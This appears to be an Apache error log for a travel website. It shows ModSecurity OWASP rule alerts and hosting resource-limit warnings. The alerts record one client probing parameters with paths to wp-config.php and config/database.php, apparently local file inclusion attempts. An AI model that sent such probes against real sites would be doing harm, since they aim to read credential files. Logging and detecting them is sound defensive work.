[Fri Jul 17 08:55:51.280260 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.284662 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.284916 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.286697 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.292696 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.295231 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.297185 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.297414 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.320822 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:imagesloaded-js: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv7EWOaI5pmYo9fnO_gAAAAA"]
[Fri Jul 17 08:55:51.321470 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv7EWOaI5pmYo9fnO_gAAAAA"]
[Fri Jul 17 08:55:51.321564 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.321844 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgv7EWOaI5pmYo9fnO_gAAAAA"]
[Fri Jul 17 08:55:51.322308 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:imagesloaded-js: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvyvekYYQ8uns4MwloAAAAA0"]
[Fri Jul 17 08:55:51.322911 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvyvekYYQ8uns4MwloAAAAA0"]
[Fri Jul 17 08:55:51.323004 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.323294 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvyvekYYQ8uns4MwloAAAAA0"]
[Fri Jul 17 08:55:51.328726 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:imagesloaded-js: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvxJ0z2bEtnOrIXVApgAAAAk"]
[Fri Jul 17 08:55:51.328862 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:imagesloaded-js: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvw5GPQ6hs4VrfMpBxgAAAAY"]
[Fri Jul 17 08:55:51.329368 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvxJ0z2bEtnOrIXVApgAAAAk"]
[Fri Jul 17 08:55:51.329423 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvw5GPQ6hs4VrfMpBxgAAAAY"]
[Fri Jul 17 08:55:51.329463 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.329507 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.329765 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvw5GPQ6hs4VrfMpBxgAAAAY"]
[Fri Jul 17 08:55:51.329777 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvxJ0z2bEtnOrIXVApgAAAAk"]
[Fri Jul 17 08:55:51.347727 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:imagesloaded-js: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvxAi3pC6yjXGNq2AqQAAAAU"]
[Fri Jul 17 08:55:51.348371 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvxAi3pC6yjXGNq2AqQAAAAU"]
[Fri Jul 17 08:55:51.348512 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.348810 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvxAi3pC6yjXGNq2AqQAAAAU"]
[Fri Jul 17 08:55:51.352350 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:imagesloaded-js. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:imagesloaded-js: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv1h1WDijTxd1xw5MoAAAAAc"]
[Fri Jul 17 08:55:51.352975 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgv1h1WDijTxd1xw5MoAAAAAc"]
[Fri Jul 17 08:55:51.353108 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.353403 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgv1h1WDijTxd1xw5MoAAAAAc"]
[Fri Jul 17 08:55:51.353456 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgv1h1WDijTxd1xw5MoAAAAAc"]
[Fri Jul 17 08:55:51.353470 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgv1h1WDijTxd1xw5MoAAAAAc"]
[Fri Jul 17 08:55:51.358820 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.359192 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.361237 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.361512 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.361895 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.363902 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.367472 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.372405 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.377101 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.479335 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.479647 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.480186 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.482301 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:51.483976 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvxAi3pC6yjXGNq2ArAAAAAU"]
[Fri Jul 17 08:55:51.484572 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvxAi3pC6yjXGNq2ArAAAAAU"]
[Fri Jul 17 08:55:51.484689 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
